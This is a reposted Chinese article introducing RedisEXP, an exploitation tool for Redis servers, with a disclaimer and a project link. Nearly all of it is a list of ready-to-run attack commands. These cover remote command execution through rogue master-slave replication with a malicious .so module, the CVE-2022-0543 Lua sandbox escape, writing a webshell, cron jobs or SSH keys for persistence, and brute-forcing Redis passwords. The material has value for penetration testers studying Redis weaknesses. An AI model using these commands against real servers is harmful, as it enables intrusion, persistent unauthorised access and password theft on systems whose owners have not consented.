Redis 漏洞利用工具 -- RedisEXP

wangqiang

Redis 漏洞利用工具 -- RedisEXP

yuyan-sec  Web安全工具库

2023-02-06 08:00 发表于河南

转载自：Redis 漏洞利用工具 -- RedisEXP

===================================

免责声明

请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，

均由使用者本人负责，作者不为此承担任何责任。工具来自网络，安全性自测，如有侵权请联系删除。

0x01 工具介绍

---

Redis 漏洞利用工具。

0x02 安装与使用

---

常用命令：

1. 主从复制命令执行:
   
2. RedisExp.exe -rhost 192.168.211.131 -lhost 192.168.211.1 -exec
   
3. RedisExp.exe -rhost 192.168.211.131 -lhost 192.168.211.1 -exec -console
   
4. 
   
5. Linux:
   
6. RedisExp.exe -rhost 192.168.211.131 -lhost 192.168.211.1 -exec -so exp.so
   
7. RedisExp.exe -rhost 192.168.211.131 -lhost 192.168.211.1 -exec -console -so exp.so
   
8. 
   
9. 主从复制文件上传:
   
10. RedisExp.exe -rhost 192.168.211.131 -lhost 192.168.211.1 -rfile dump.rdb -lfile dump.rdb -upload
    
11. 
    
12. 主动关闭主从复制:
    
13. RedisExp.exe -rhost 192.168.211.131 -slaveof
    
14. 
    
15. Lua沙盒绕过命令执行 CVE-2022-0543:
    
16. RedisExp.exe -rhost 192.168.211.131 -lua -console
    
17. 
    
18. 备份写 Webshell:
    
19. RedisExp.exe -rhost 192.168.211.131 -shell
    
20. 
    
21. Linux 写计划任务:
    
22. RedisExp.exe -rhost 192.168.211.131 -crontab
    
23. 
    
24. Linux 写 SSH 公钥:
    
25. RedisExp.exe -rhost 192.168.211.131 -ssh
    
26. 
    
27. 爆破 Redis 密码:
    
28. RedisExp.exe -rhost 192.168.211.131 -brute -pwdf ../pass.txt
    
29. 
    
30. 执行 Redis 命令:
    
31. RedisExp.exe -rhost 192.168.211.131 -cli

复制代码

0x03 项目链接下载

---

项目地址：https://github.com/yuyan-sec/RedisEXP